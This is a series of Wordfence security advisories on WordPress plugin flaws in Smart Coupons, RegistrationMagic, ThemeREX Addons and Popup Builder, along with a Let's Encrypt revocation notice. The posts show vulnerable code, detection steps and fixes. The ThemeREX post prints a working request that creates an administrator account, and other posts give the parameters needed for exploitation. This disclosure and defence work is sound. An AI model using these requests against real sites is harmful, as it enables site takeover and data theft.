Depending on where the attackers inserted code, these scripts can be executed in the WordPress dashboard to affect administrators, or on the front of the victim’s site to affect their visitors. Current attacks in this campaign are targeting administrators in order to create rogue accounts for the attackers.

Conclusion

Today we disclosed three new zero-day vulnerabilities affecting the WordPress ecosystem. We are working to assist these developers to quickly resolve these vulnerabilities, but some remain unpatched at this time. We take the security disclosure process very seriously, and we would not publish these details if it wasn’t necessary to alert the WordPress community about their risk in the midst of this campaign.

The XSS attacks used in this campaign are reliably blocked by the Wordfence firewall’s built-in protections, which are available to Wordfence Premium users as well as sites still on the free version. New WAF rules to prevent other disruptive activity are also available to Premium users at this time.

Because these attacks are ongoing, research into this campaign is still underway. We will publish a follow-up post with complete details on these attacks as soon as this research is complete. Make sure you are informed as soon as possible by subscribing to our mailing list.

This work would not be possible without the combined efforts of the Wordfence team. Special thanks to Director of Threat Intelligence Sean Murphy, QA Lead Matt Rusnak, and QA Engineer Ramuel Gall for their contributions to the discovery and research of these attacks, analysis and disclosure of the vulnerabilities, and assistance in editing this post. 

On Wednesday, March 4, 2020, 3 million Transport Layer Security (TLS) certificates issued by Let’s Encrypt will be revoked because of a Certificate Authority Authorization (CAA) bug. This is 2.6% of the over 116 million active certificates issued by Let’s Encrypt.

Let’s Encrypt has contacted all certificate holders affected by this bug, and they’ve created a tool and a list of serial numbers to determine if your TLS certificate is affected by the bug.

Let’s Encrypt have not set an exact time for revocation of the certificates, however, they say that the earliest timeframe will be UTC 00:00.

Some certificate holders have received emails that they’re affected, but they may have received that alert erroneously, either because the certificate was issued in the last few days after the bug was fixed, or by not meeting certain timing criteria necessary for the bug to trigger, adding to confusion.

How to tell if you’re affected

Let’s Encrypt created a tool where you can check your site’s host name and determine if your Let’s Encrypt-issued certificate is affected by this bug.

Let’s Encrypt can also see the list of all affected serial numbers.

On a Linux/BSD-like system, you can also run the following command to show your domain’s current certificate serial number. Replace example.com below with your own domain name:
openssl s_client -connect example.com:443 -servername example.com -showcerts </dev/null 2>/dev/null | openssl x509 -text -noout | grep -A 1 Serial\ Number | tr -d :

If your hosting provider provided a certificate for your website, they were likely the ones contacted by Let’s Encrypt. Numerous site owners have received notifications from hosting providers that they would be handling the reissuance of those certificates.

If you have created your own Let’s Encrypt certificate, you will need to update yourself if you are affected.

What will happen if I don’t fix this?

A secure TLS certificate ensures that your site visitors have encrypted traffic between their browsers and your website. Site visitors might see a certificate revoked error, a “not secure” warning, or other security warnings in their browser that may erode trust in your site.

What happened in technical terms?

Boulder, the software builder used by Let’s Encrypt’s CA, checks CAA records for a domain name at the same time that it verifies that a certificate requester controls that domain. Most subscribers to the service issue a certificate immediately after they validate domain control, however Let’s Encrypt trusts that validation for 30 days. Due to that trust, they sometimes have to recheck CAA records a second time, just prior to issuing the certificate. The timeframe for rechecking is 8 hours, meaning that any domain name validated more than 8 hours ago requires a recheck.

According to Let’s Encrypt:

The bug: when a certificate request contained N domain names that needed CAA rechecking, Boulder would pick one domain name and check it N times. What this means in practice is that if a subscriber validated a domain name at time X, and the CAA records for that domain at time X allowed Let’s Encrypt issuance, that subscriber would be able to issue a certificate containing that domain name until X+30 days, even if someone later installed CAA records on that domain name that prohibit issuance by Let’s Encrypt.

Let’s Encrypt confirmed the bug at 2020-02-29 03:08 UTC, and halted issuance two minutes later. They deployed a fix at 05:22 UTC and re-enabled certificate issuance at that time.

According to security researcher Scott Helme, who posted his investigation on Twitter:

Possibly worth noting that while some of these numbers are really large, it represents only ~2.6% of currently active certs that are impacted. Within that ~2.6% there are *significant* numbers of duplicate certs with the exact same CN/SAN list but a different serial number.

— Scott Helme (@Scott_Helme) March 3, 2020

Does this mean we should use something other than Let’s Encrypt for SSL certificates?

Let’s Encrypt have been very transparent about this bug, both in identifying the problem themselves and reporting the CA incident. They are acting exactly how a certificate authority should act. As such, we are confident that Let’s Encrypt is still a good source for TLS certificates.

You can find details of the bug on the Let’s Encrypt bug tracker.

Late last month a patch was released for WooCommerce Smart Coupons, a commercial WooCommerce plugin that helps store managers handle coupons and gift certificates. In vulnerable versions of the plugin, unauthenticated attackers could send themselves gift certificates of any value, which could be redeemed for products sold on the victim’s storefront.

This vulnerability was originally identified by Aaron Averbuch and his team at Bloomscape, who privately contacted us after disclosing the issue to the plugin’s developers. A patch was released the following day in WooCommerce Smart Coupons version 4.6.5. To protect our users, we released a firewall rule to block attempts to exploit this flaw. Wordfence Premium users already have access to this rule, and sites still on the free version will receive the rule March 25, 2020, thirty days after it was released.

We urge all WooCommerce Smart Coupons users to update to the latest available version as soon as possible to mitigate the risk of fraudulent gift certificates. Typical WordPress users update commercial plugins less reliably than those in the WordPress repository, and that trend continues with this plugin. At the time of this writing, nearly nine out of ten sites using WooCommerce Smart Coupons are still running a vulnerable version of the plugin.

In today’s post, we examine the vulnerability and discuss how to identify if your site has been affected.

Vulnerability In Detail

One of the features of WooCommerce Smart Coupons allows store managers to create gift certificates which can be emailed to customers. The interface for this feature is only available to user roles with the manage_woocommerce capability, which is available by default on the administrator and shop_manager roles.

Screenshot of the Send Store Credit interface.

This functionality was made vulnerable by the way WooCommerce Smart Coupons handled inputs from that form. While the dashboard page for this feature was restricted to privileged users, the plugin was listening for submissions on every page in wp-admin.

add_action( 'admin_init', array( $this, 'woocommerce_coupon_admin_init' ) );

public function woocommerce_coupon_admin_init() {

	$get_import = ( isset( $_GET['import'] ) ) ? wc_clean( wp_unslash( $_GET['import'] ) ) : ''; // phpcs:ignore
	$get_page   = ( isset( $_GET['page'] ) ) ? wc_clean( wp_unslash( $_GET['page'] ) ) : ''; // phpcs:ignore
	$get_action = ( isset( $_GET['action'] ) ) ? wc_clean( wp_unslash( $_GET['action'] ) ) : ''; // phpcs:ignore

	$post_smart_coupon_email   = ( isset( $_POST['smart_coupon_email'] ) ) ? wc_clean( wp_unslash( $_POST['smart_coupon_email'] ) ) : ''; // phpcs:ignore
	$post_smart_coupon_amount  = ( isset( $_POST['smart_coupon_amount'] ) ) ? wc_clean( wp_unslash( $_POST['smart_coupon_amount'] ) ) : 0; // phpcs:ignore
	$post_smart_coupon_message = ( isset( $_POST['smart_coupon_message'] ) ) ? wp_kses_post( wp_unslash( $_POST['smart_coupon_message'] ) ) : ''; // phpcs:ignore

	if ( 'wc-sc-coupons' === $get_import || 'wc-smart-coupons' === $get_page ) {
		ob_start();
	}

	if ( defined( 'WP_LOAD_IMPORTERS' ) ) {
		register_importer( 'wc-sc-coupons', __( 'WooCommerce Coupons (CSV)', 'woocommerce-smart-coupons' ), __( 'Import <strong>coupons</strong> to your store via a csv file.', 'woocommerce-smart-coupons' ), array( $this, 'coupon_importer' ) );
	}

	if ( 'sent_gift_certificate' === $get_action && 'wc-smart-coupons' === $get_page ) {
		$email   = $post_smart_coupon_email;
		$amount  = $post_smart_coupon_amount;
		$message = $post_smart_coupon_message;
		$this->send_gift_certificate( $email, $amount, $message );
	}
}

The snippets above, taken from class-wc-sc-admin-pages.php, show how this input is handled. The plugin registers the woocommerce_coupon_admin_init() function to WordPress’s admin_init hook. This function performs checks to determine whether to start output buffering or register a CSV importer, but then checks if it should send a gift certificate.

It makes this decision based on two $_GET parameters: action=sent_gift_certificate and page=wc-smart-coupons. These parameters are common in the WordPress dashboard, but accessing them directly is insecure in this case. There’s no validation that a user has access to the wc-smart-coupons page.

As we’ve reported in several cases recently, such as the vulnerabilities in Email Subscribers & Newsletters and last week’s zero-day campaign, the admin_init hook is accessible to any of a site’s visitors. Unauthenticated users can send requests to /wp-admin/admin-post.php, which will satisfy requirements for is_admin() as well as firing every function hooked to admin_init.  This, of course, includes woocommerce_coupon_admin_init().

By crafting a request with all of the necessary parameters, attackers could generate and send themselves valid gift certificates for a victim’s WooCommerce store. This vulnerability has been patched as of WooCommerce Smart Coupons 4.6.5.

Remediation Can Be Tricky

Internally, these gift certificates are considered coupons, just like a typical percentage-off coupon you’d distribute for a promotion. They behave differently, with a value that can be spent instead of a reusable discount, but are treated the same within the WooCommerce interface.

Screenshot of a list of generated coupons.

Unfortunately, this means it’s not possible for the WooCommerce Smart Coupons to invalidate any fraudulent store credit that was created through this vulnerability. If a vulnerable site was exploited and store credit generated, it would still be valid and redeemable after the site owner updated the plugin. Each coupon would need to be deleted by an administrator or shop manager to prevent their use.

For stores that don’t make use of these gift certificates, remediation is as simple as deleting every coupon with the type Store Credit / Gift Certificate. However, for sites that send store credit frequently, it might not be immediately clear which coupons are legitimate and which were created fraudulently.

If you believe store credit was created by a malicious user, there are two ways you can help identify which coupons are fraudulent.

Comparing Coupon Creation Times With Access Logs

This method requires access to your site’s access logs. If you do not know how to access these, contact your hosting provider for assistance.

While this vulnerability allows coupons to be generated on unauthenticated /wp-admin endpoints, legitimate usage only sends requests to one location: /wp-admin/admin.php. This endpoint is inaccessible to unauthenticated users, so any coupons generated by a request to that file are legitimate.

On the other hand, coupons generated by requests to other locations, like /wp-admin/admin-post.php or /wp-admin/admin-ajax.php, are probably fraudulent.

For example, the following string in an access log would suggest an attempt to exploit this vulnerability:

"POST /wp-admin/admin-post.php?page=wc-smart-coupons&action=sent_gift_certificate HTTP/1.1"

The next one is a legitimate entry:

"POST /wp-admin/admin.php?page=wc-smart-coupons&action=sent_gift_certificate HTTP/1.1"

By comparing the timestamps of these log entries to the publish times of suspicious coupons, you can determine which to keep and which to delete.

Checking WordPress Post Metadata For Suspicious Emails

This method requires access to your site’s database. If you do not know how to access this, contact your hosting provider for assistance.

While the WooCommerce Smart Coupons interface doesn’t immediately reveal where each coupon was sent, this data is still stored in the WordPress database.

Search your site’s wp_postmeta table for suspicious customer_email entries with a query like the following. (Note: Your site’s database prefix may be different, but we’ll use the default wp_ in our examples.)

mysql> select * from wp_postmeta where meta_key = 'customer_email';
+---------+---------+----------------+--------------------------------------------+
| meta_id | post_id | meta_key       | meta_value                                 |
+---------+---------+----------------+--------------------------------------------+
|     168 |      54 | customer_email | a:1:{i:0;s:24:"shopshopshop@example.com";} |
|     188 |      55 | customer_email | a:1:{i:0;s:23:"hacker@evil.example.com";}  |
|     266 |      57 | customer_email | a:1:{i:0;s:22:"shopperman@example.com";}   |
|     285 |      59 | customer_email | a:1:{i:0;s:21:"luvs2shop@example.com";}    |
+---------+---------+----------------+--------------------------------------------+
4 rows in set (0.00 sec)

In the example set above, we see four coupons with different customer_email values. One particular email stands out: hacker@evil.example.com. The post_id for this coupon is 55, so let’s see which coupon code that corresponds to:

mysql> select post_title from wp_posts where ID = 55;
+---------------+
| post_title    |
+---------------+
| qvi93te4veedu |
+---------------+
1 row in set (0.00 sec)

Now we see the offending coupon code: qvi93te4veedu. With this we can delete the coupon, or investigate further to identify any orders that store credit may have been used on.

Not all malicious users have easily identifiable email addresses, but you can also compare these emails to other resources such as your mailing list and previous orders to identify suspicious outliers.

Timeline

• February 20, 2020 – Vulnerability disclosed by Aaron Averbuch and his team at Bloomscape.
• February 21, 2020 – WooCommerce Smart Coupons version 4.6.5 released to patch vulnerability.
• February 24, 2020 – Firewall rule released to prevent exploitation against sites with Wordfence Premium.
• March 25, 2020 – Firewall rule available to Wordfence free users.

Conclusion

Vulnerabilities such as this one, where features are intended for privileged users but are inadvertently left open to attack, are unfortunately common. If you are developing WordPress plugins and themes, be sure to validate user capabilities directly for any privileged activity. Hooking code into admin_init, or attempting to secure functionality with is_admin() checks, is dangerous and ineffective without performing these capabilities checks. For more information on how to check user capabilities, visit the WordPress.org codex entry for current_user_can().

At this time, we have not detected any malicious activity targeting WooCommerce Smart Coupons. With that said, it’s very important to update to the latest version of the plugin as soon as possible.

Wordfence Premium users are already protected from possible attacks. Sites on the free version will receive the rule on the date specified in the timeline above.

We will monitor our network for any changes in activity around this vulnerability, and will provide details as they emerge.

Thanks again to Aaron Averbuch and his team at Bloomscape for their discovery and disclosure of this issue. Additional thanks to QA Lead Matt Rusnak for his assistance in vulnerability analysis.

On February 24th, our Threat Intelligence team discovered several critical vulnerabilities in RegistrationMagic, a WordPress plugin installed on over 10,000 sites, including the vendor’s own site.

These allowed an attacker with subscriber-level permissions to elevate their account’s privileges to those of an administrator and to export every form on the site, including all the data that had been submitted to them in the past. Additionally, through a number of unprotected AJAX actions, an attacker with subscriber-level permissions could send arbitrary emails, import a custom vulnerable form, replace an existing form with their uploaded form, and use the vulnerable form to register a new administrative user. Finally, none of the administrative functions used by the plugin included nonce checks, making the plugin vulnerable to cross-site request forgery (CSRF) attacks – it was possible for an attacker to forge requests on behalf of an administrator to update any of the plugin’s settings.

We privately disclosed these issues to the plugin’s author, who released a patch 2 days after receiving our full report. Wordfence Premium users received a new firewall rule on February 25th to protect against exploits targeting these vulnerabilities. Free Wordfence users will receive this rule on March 26, 2020.

The RegistrationMagic plugin allows WordPress users to create customized registration forms, track registration submissions, manage users, analyze stats and assign user roles, as well as accept payments.

While quite powerful, there are a number of functions in the plugin used for administrative purposes that are not protected by capability checks or nonces, all of which are processed using custom forms generated by the plugin. Additionally, the plugin automatically creates and publishes a page upon activation, accessible to subscribers at /rm_submissions. This page is intended to allow users to view their previous form submissions, but it could also be used to render and process forms that were only intended to be accessed by administrators. Sending a request to this page with the ‘rm_slug’ $_POST parameter set to ‘rm_user_edit’ and the ‘user_id’ parameter set to the user’s ID (which can typically be obtained from the user’s profile page) caused the plugin to generate a form which could be used to change the user’s role to administrator. Unfortunately, this form didn’t use a capability check or a nonce, so it could be used by a subscriber to update their own role to administrator.

    public function edit($model, RM_User_Services $service, $request, $params)
    {
        if (isset($request->req['user_id']))
        {
            if ($this->mv_handler->validateForm("rm_edit_user"))
            {
                if (isset($request->req['user_password']) && isset($request->req['user_password_conf']))
                {
                    if ($request->req['user_password'] && $request->req['user_password_conf'] && $request->req['user_id'])
                        $service->reset_user_password($request->req['user_password'], $request->req['user_password_conf'], $request->req['user_id']);
                    $service->set_user_role($request->req['user_id'], $request->req['user_role']);

Not only did the RegistrationMagic plugin fail to check nonces in the previously mentioned vulnerability, it actually did not check nonces for any of its functionality, including the forms used to save changes to the plugin settings. As such it was possible for an attacker to forge a crafted request on behalf of a site administrator in order to modify the plugin’s settings, which included the ability to delete existing users or add new user roles. It could even be used to allow forms to accept php files, which could then be used to upload a backdoor which could allow an attacker full control over the WordPress site.

In addition to allowing a subscriber to elevate their privileges, the RegistrationMagic plugin also allowed a subscriber to send emails from the site to any email address, with a subject and body of their choice. This could be used to send spam, but this flaw would also make tricking a site  administrator into clicking a link in order to perform a CSRF attack much easier. This functionality actually used an unprotected AJAX action, which is an extremely common attack vector in WordPress. Although it was only available to subscribers, much of the plugin’s functionality was geared towards an improved user experience for subscribers, so this was a surprising oversight.

$this->loader->add_action('wp_ajax_send_email_user_view', new RM_User_Services(), 'send_email_ajax');

    public static function send_email_ajax()
    {
        $to = $_POST['to'];
        $sub = $_POST['sub'];
        $body = $_POST['body'];
        
        RM_Utilities::quick_email($to, $sub, $body);
        
        wp_die();
    }

As you can see, the ‘send_email_ajax’ function doesn’t use any capability or nonce checks, so any logged-in user could use it to send email from the site.

Using the same /rm_submissions endpoint as the authenticated privilege escalation vulnerability, a logged-in attacker could also send a request with the ‘rm_slug’ $_POST parameter set to ‘rm_form_export’, which caused the plugin to export every form on the site, including everything that had ever been submitted to any of these forms (though this did not include login credentials). Again, the export function lacked access control or a nonce check, and in addition to exposing potentially sensitive information, an attacker could use the exported form data to launch yet another type of attack. For those sites with sensitive personally identifiable user information, such as commerce sites, this vulnerability was particularly concerning.

*The vulnerable function has more than 230 lines of code. For brevity,  we’re not showing it here, but it is available to review in the plugin repository.

There was one more method an attacker could use to create an administrator, though it took a bit more work and a few more steps. One of the more advanced features of the RegistrationMagic plugin allowed the creation of forms that saved user-submitted content directly into the usermeta table in the site’s database. While this functionality was intended to store additional metadata about the user, this table is also used to store a user’s permissions, using the wp_user_level and wp_capabilities keys, and a custom form could be created to modify the contents of these keys. Another advanced feature was the ability to make forms “expire” after a certain date or number of submissions, and to automatically substitute a different form at that time.

Unfortunately, thanks to more unprotected AJAX actions, an attacker could upload a customized “vulnerable” registration form. They could then use the data export vulnerability to grab the information they needed to launch the next step: by using yet another unprotected AJAX action, they could set an existing form on the site to expire after 0 submissions, and replace it with their newly uploaded form. Once the vulnerable form was active, the attacker could register as an administrator.

If no forms were published, but the plugin’s “Magic Button” functionality was enabled, an attacker could also use an unprotected AJAX action to set their uploaded form as the “Default” form, which could be submitted from anywhere on the site.

The registered AJAX actions:

$this->loader->add_action('wp_ajax_rm_save_form_view_sett', new RM_Form_Settings_Controller(), 'view');

$this->loader->add_action('wp_ajax_set_default_form', 'RM_Utilities', 'set_default_form');

$this->loader->add_action('wp_ajax_import_first', 'RM_Services', 'import_form_first_ajax');

$this->loader->add_action('wp_ajax_rm_admin_upload_template', $rm_admin, 'upload_template'); 

The vulnerable functions – note the lack of capability checks and nonce checks:

    public function upload_template(){
       if($_FILES){
               $name=get_temp_dir().'RMagic.xml';
               if(is_array($_FILES['file']['tmp_name']))
               $status= move_uploaded_file ( $_FILES['file']['tmp_name']['0'] , $name );
               else
               $status= move_uploaded_file ( $_FILES['file']['tmp_name'], $name );    
               echo json_encode(array('success'=>$status));
        }

    public static function import_form_first_ajax() {
        $form_id = null;
        if (isset($_POST['form_id'])) {
            $form_id = $_POST['form_id'];
        }        
        echo self::import_form_first(null, $form_id);
        wp_die();
    }

    function view($model=null, $service=null, $request=null, $params=null) {
        if (!$request instanceof RM_Request) {
            $postdata = file_get_contents("php://input");
            $request = json_decode($postdata);
            if(isset($request->form_id) && (int)$request->form_id){
                $model = new RM_Forms;
                $model->load_from_db($request->form_id);
                $model->set((array)$request);
                $model->update_into_db();
                echo 'saved';

    public static function set_default_form() {
        if (isset($_POST['rm_def_form_id'])) {
            $gopts = new RM_Options;
            $gopts->set_value_of('default_form_id', $_POST['rm_def_form_id']);
        }
        die;
    }

Disclosure Timeline

February 21, 2020 – Lower-severity vulnerabilities discovered with indications that higher-severity vulnerabilities might be present.
February 24, 2020 – Higher-Severity vulnerabilities discovered and analyzed.
February 25, 2020 – Firewall rule released for Wordfence Premium users. Initial outreach to plugin vendor.
February 26, 2020 – Vendor confirms appropriate inbox for handling discussion. Full disclosure of vulnerabilities is sent.
February 28, 2020 – Vendor releases an update patching vulnerabilities.
March 26th, 2020 – Firewall rule becomes available to free users.

Conclusion

In today’s post, we detailed several vulnerabilities including CSRF, email injection, and privilege escalation found in the RegistrationMagic plugin. These flaws have been patched in version 4.6.0.4, and we recommend that users update to the latest version available immediately. While we have not detected any malicious activity targeting RegistrationMagic, some of these vulnerabilities are severe enough to allow complete site takeover. Sites running Wordfence Premium have been protected from attacks against this vulnerability since February 25th. Sites running the free version of Wordfence will receive the same firewall rule update on March 26th, 2020.

The Wordfence Threat Intelligence team is tracking a series of attacks against an unpatched vulnerability in the Custom Searchable Data Entry System plugin for WordPress. The estimated 2,000+ sites running the plugin are vulnerable to Unauthenticated Data Modification and Deletion, including the potential to delete the entire contents of any table in a vulnerable site’s database.

We have reached out to the plugin developer, however the plugin does not appear to be actively maintained. The last update occurred approximately one year ago.

We have released a firewall rule to protect against exploitation of this flaw. Wordfence Premium users have received this rule already, and users still on the free version of Wordfence will receive the rule in 30 days.

Attackers are currently abusing this exploit. As such, if you are not using Wordfence Premium, we recommend that you deactivate and delete this plugin from your sites and look for an alternative as a patch is not currently available.

The vulnerability in this plugin is being actively exploited, and the Wordfence Threat Intelligence team has seen over 10,000 active exploit attempts over the last few days in our attack data.

We are not disclosing further details about this vulnerability until we can determine feasibility of a fix by the plugin author.

Why We Are Disclosing Today

There is an active attack campaign underway that is targeting WordPress websites and exploiting this vulnerability. We made the decision to disclose the existence of this vulnerability now so that the global WordPress community can take steps to protect themselves immediately.

Special thanks to our Director of Threat Intelligence, Sean Murphy, who discovered the attack.

On February 18th, we were alerted to a vulnerability present in ThemeREX Addons, a WordPress plugin installed on approximately 44,000 sites. We took immediate action to release a firewall rule to protect Wordfence Premium users. As this vulnerability was being actively attacked, we also publicly notified the community of the vulnerability to help protect users from being compromised.

As an update to that notification, we’re happy to share that ThemeREX has released updates for all of their themes that included the vulnerable ThemeREX Addons plugin. In today’s post we provide the technical details of the vulnerability along with the steps you need to take to ensure your site is running an updated version of the plugin.

Deeper Analysis of the Problem

As previously noted, the ThemeREX Addons plugin was designed as a companion plugin to a variety of ThemeREX themes. It provides several theme enhancing features and widgets to extend functionality of these themes.

The vulnerable code was present within the ~/includes/plugin.rest-api.php file, where there were a few issues. In order to provide compatibility with the Gutenberg plugin, the ThemeREX Addons plugin registered a REST-API endpoint (/trx_addons/v2/get/sc_layout)that would call the trx_addons_rest_get_sc_layout function anytime the endpoint was invoked.

// Register endpoints
if ( !function_exists( 'trx_addons_rest_register_endpoints' ) ) {
   add_action( 'rest_api_init', 'trx_addons_rest_register_endpoints');
   function trx_addons_rest_register_endpoints() {
      // Return layouts for the Gutenberg blocks
      register_rest_route( 'trx_addons/v2', '/get/sc_layout', array(
         'methods' => 'GET,POST',
         'callback' => 'trx_addons_rest_get_sc_layout',
         ));
      }
}

// Return layout
if ( !function_exists( 'trx_addons_rest_get_sc_layout' ) && class_exists( 'WP_REST_Request' ) ) {
   function trx_addons_rest_get_sc_layout(WP_REST_Request $request) {

There were no capability checks on this endpoint that would block users that were not administrators or currently signed in, so any user had the ability to call the endpoint regardless of capability. In addition, there was no nonce check to verify the authenticity of the source. Access control and cross-site request forgery (CSRF) protection aside, the core of the problem was within the functionality of the code itself.

A few lines later, we see the functionality to get parameters from widgets, presumably widgets that worked with the Gutenberg plugin. This is where the core of the remote code execution vulnerability was present. There were no restrictions on the PHP functions that could be used or the parameters that were provided as input. Instead, we see a simple if (function_exists($sc)) allowing for any PHP function to be called and executed.

       // Get params from widget
      $params = $request->get_params();
      if (!empty($params['sc'])) {
         $sc = str_replace('trx_sc_', 'trx_addons_sc_', $params['sc']);
         if (function_exists($sc)) {
            $response['data'] = $sc($params);
         } else {
            $response['data'] = '<div class="sc_error">' . esc_html(sprintf(__("Unknown block %s", 'trx_addons'), $params['sc'])) . '</div>';
         }
      }
   
      return new WP_REST_Response($response);
   }
}

This ultimately allowed for WordPress functions like wp_insert_user to be executed allowing attackers the ability to inject administrative user accounts and take over sites.

The Fix

In order to resolve the security issue, ThemeREX opted to completely remove the affected ~/plugin.rest-api.php file from the plugin considering it was no longer required for its functionality, as the Gutenberg plugin has been fully integrated as part WordPress core.

The following is a list of all affected ThemeREX themes and their patched versions, along with the vulnerable versions of the ThemeREX Addons plugin and the corresponding newly patched versions, courtesy of ThemeREX:

How to Update to the Latest Version of ThemeREX Addons

It is important to note that you may not be notified that there is a new version available for update in the WordPress dashboard like most other plugins. If the plugin page doesn’t allow you to update, please follow this guide.

1. Update the ThemeREX theme you have installed on your site. You can do this through the Dashboard > Updates or Appearance > Themes sections of your WordPress administrative area, if you have the ThemeREX Updater plugin installed. If you do not have the ThemeREX Updater plugin installed, you will need to download the most up-to-date version of the theme and do a manual update.
2. Once you have updated your ThemeREX theme, you will need to deactivate and uninstall the vulnerable version of the ThemeREX Addons plugin.
3. You’ll be prompted to install the ThemeREX Addons plugin. Follow the prompts to re-install the patched version of ThemeREX Addons. The prompt should look like this:

   Prompt to install ThemeREX Addons.

4. Once you have re-installed the plugin you should have a patched version. Please check your theme above and compare the fixed version to the version that is now installed on your site from the plugins page:

   A Patched Version of ThemeREX Addons.

If you would like to verify that your site is no longer running the vulnerable code, please navigate to your hosting account file manager, or connect via FTP/SFTP/SSH, and navigate to the ~/wp-content/plugins/trx_addons/includes/ folder. If the file /plugin.rest-api.php is not present then you can rest assured that you are not running the vulnerable code on your site.

If you do see this file still, we recommend reaching out to the ThemeREX team directly through their support forum as there may have been an issue with your update.

Insight on Attacks

We have blocked over 267,000 exploit attempts during the past 2 weeks since we were initially alerted to the vulnerability’s presence. The good news, however, is that the vast majority of the attempts we have blocked appear to have been discovery attempts from attackers unsuccessfully trying to find sites running the ThemeREX Addons plugin or attackers simply trying to uncover the workings of the vulnerability. Unsuccessful exploit attempts have looked like this:

example.com/wp-json/trx_addons/v2/get/sc_layout?sc=sdw1dd1

Successful exploit attempts have looked like this and cause the creation of a new administrative level user account on a vulnerable site:

example.com/wp-json/trx_addons/v2/get/sc_layout?sc=wp_insert_user&role=administrator&user_login=TEST&user_pass=TEST

We ensured our disclosure on February 18th included minimal details to prevent attackers from exploiting this vulnerability while still alerting users to a critical issue requiring their immediate attention.

Now that patches have been released, we feel comfortable in disclosing the details of this vulnerability. However, as with most full disclosures we expect to see an increase in effective exploit attempts, therefore we urge users to update to the latest version available as soon as possible.

PoC Walkthrough

Disclosure Timeline

February 18th, 2020 – Wordfence notified of active exploitation of vulnerability. Wordfence releases a firewall rule immediately to Wordfence Premium users and notifies the ThemeREX plugin team. We publish a post to inform users that they need to remove the plugin until a patch is released.
February 19th, 2020 – Irvin McDowell at ThemeREX responds and acknowledges the security issues and confirms they are working on a fix.
February 20th, 2020 – Notification that all themes on ThemeForest have been updated to include patched copies of ThemeREX Addons.
March 9th, 2020 – Final ThemeREX theme updated to include a patched copy of ThemeREX Addons
March 9th, 2020 – Full disclosure provided.
March 19th, 2020 – Wordfence free users receive firewall rule.

Conclusion

In today’s post, we provided the technical details of the vulnerability found in the ThemeREX Addons plugin. This flaw has been patched in all ThemeREX themes that were running vulnerable versions of this plugin and we recommend that users update to the latest version available immediately. Sites running Wordfence Premium have been protected from attacks against this vulnerability since February 18th. Sites running the free version of Wordfence will receive the firewall rule update on March 19th, 2020.

Special thanks to Irvin McDowell, the CIO of ThemeREX, for working with us and providing details as needed and to the whole team at ThemeREX for working quickly to get this resolved. Also, thank you to Ramuel Gall, Sean Murphy and Matt Rusnak from the Wordfence team for assistance analyzing the vulnerability and for quickly releasing a firewall rule to Wordfence users. And again, thank you to Tobias Westphal and Arne Breitsprecher for reporting this vulnerability to Wordfence.

On March 4th, our Threat Intelligence team discovered several vulnerabilities in Popup Builder, a WordPress plugin installed on over 100,000 sites. One vulnerability allowed an unauthenticated attacker to inject malicious JavaScript into any published popup, which would then be executed whenever the popup loaded. The other vulnerability allowed any logged-in user, even those with minimal permissions such as a subscriber, to export a list of all newsletter subscribers, export system configuration information, and grant themselves access to various features of the plugin.

We privately disclosed these issues to the plugin’s author, who responded within a few hours. We worked with the developer over the course of a week to ensure the vulnerabilities were fully patched.

We highly recommend updating to the latest version, 3.64.1, immediately. Wordfence Premium customers received a new firewall rule on March 5, 2020 to protect against exploits targeting these vulnerabilities. Free Wordfence users will receive the rule after thirty days, on April 4, 2020.

The Popup Builder plugin allows the creation of various popups on a WordPress site, which includes the ability to run custom Javascript when a popup is loaded. It registered an AJAX hook, wp_ajax_nopriv_sgpb_autosave, intended to allow auto-saving of draft popups.

add_action('wp_ajax_nopriv_sgpb_autosave', array($this, 'sgpbAutosave'));

Unfortunately, this hook was available to unprivileged users, and the function it called lacked nonce checks or capability checks. This meant that an unauthenticated attacker could send a POST request to wp-admin/admin-ajax.php with an array parameter, ‘allPopupData’, containing a number of key-value pairs including a popup’s ID (visible in the page source) and a malicious JavaScript payload, which would then be saved in that popup’s settings and executed whenever a visitor navigated to a page where the popup was displayed.

	public function sgpbAutosave()
	{
		$popupId = @(int)$_POST['post_ID'];
		$postStatus = get_post_status($popupId);
		if ($postStatus == 'publish') {
			echo '';
			wp_die();
		}

		if (!isset($_POST['allPopupData'])) {
			echo true;
			wp_die();
		}
		$popupData = SGPopup::parsePopupDataFromData($_POST['allPopupData']);
		do_action('save_post_popupbuilder');
		$popupType = $popupData['sgpb-type'];
		$popupClassName = SGPopup::getPopupClassNameFormType($popupType);
		$popupClassPath = SGPopup::getPopupTypeClassPath($popupType);
		if (file_exists($popupClassPath.$popupClassName.'.php')) {
			require_once($popupClassPath.$popupClassName.'.php');
			$popupClassName = __NAMESPACE__.'\\'.$popupClassName;
			$popupClassName::create($popupData, '_preview', 1);
		}

		wp_die();
	}

Note the lack of nonce and permission checks in this function. The function does attempt to prevent changes being saved to any popup in ‘publish’ status. However, if no ‘post_ID’ parameter is supplied, this check will be bypassed and the post id supplied in the ‘allPopupData’ parameter will be updated instead.

Typically, attackers use a vulnerability like this to redirect site visitors to malvertising sites or steal sensitive information from their browsers, though it could also be used for site takeover if an administrator visited or previewed a page containing the infected popup while logged in.

In addition to a stored XSS vulnerability, Popup Builder also had a set of vulnerabilities that could be exploited by logged-in users with minimal permissions, such as subscribers. The vulnerable actions included:

add_action('admin_post_csv_file', array($this, 'getSubscribersCsvFile'));

add_action('admin_post_sgpb_system_info', array($this, 'getSystemInfoFile'));

add_action('admin_post_sgpbSaveSettings', array($this, 'saveSettings'), 10, 1);

By sending a $_POST request to admin-post.php with the ‘action’ parameter set to ‘sgpbSaveSettings’ and the ‘sgpb-user-roles[]’ parameter set to ‘subscriber’, an attacker could grant all subscriber-level users (including themselves) a number of permissions related to the plugin’s functionality. In addition to granting access to create and manage categories and newsletters, this would allow an attacker to make use of other AJAX functions that were protected by nonces, but not by capability checks, since usable nonces were displayed on these pages.

The vulnerable function code:

	public function saveSettings()
	{
		$postData = $_POST;
		$deleteData = 0;

		if (isset($postData['sgpb-dont-delete-data'])) {
			$deleteData = 1;
		}
		$userRoles = @$postData['sgpb-user-roles'];

		update_option('sgpb-user-roles', $userRoles);
		update_option('sgpb-dont-delete-data', $deleteData);

		wp_redirect(admin_url().'edit.php?post_type='.SG_POPUP_POST_TYPE.'&page='.SG_POPUP_SETTINGS_PAGE);
	}

Alternatively, a $_POST request could be sent to admin-post.php with the ‘action’ parameter set to ‘csv_file’, making it possible to export a list of newsletter subscribers. As a result, an attacker could gain access to sensitive newsletter subscriber information and use this during a social engineering attack against those subscribers.

The vulnerable function code:

	public function getSubscribersCsvFile()
	{
		global $wpdb;
		$query = AdminHelper::subscribersRelatedQuery();
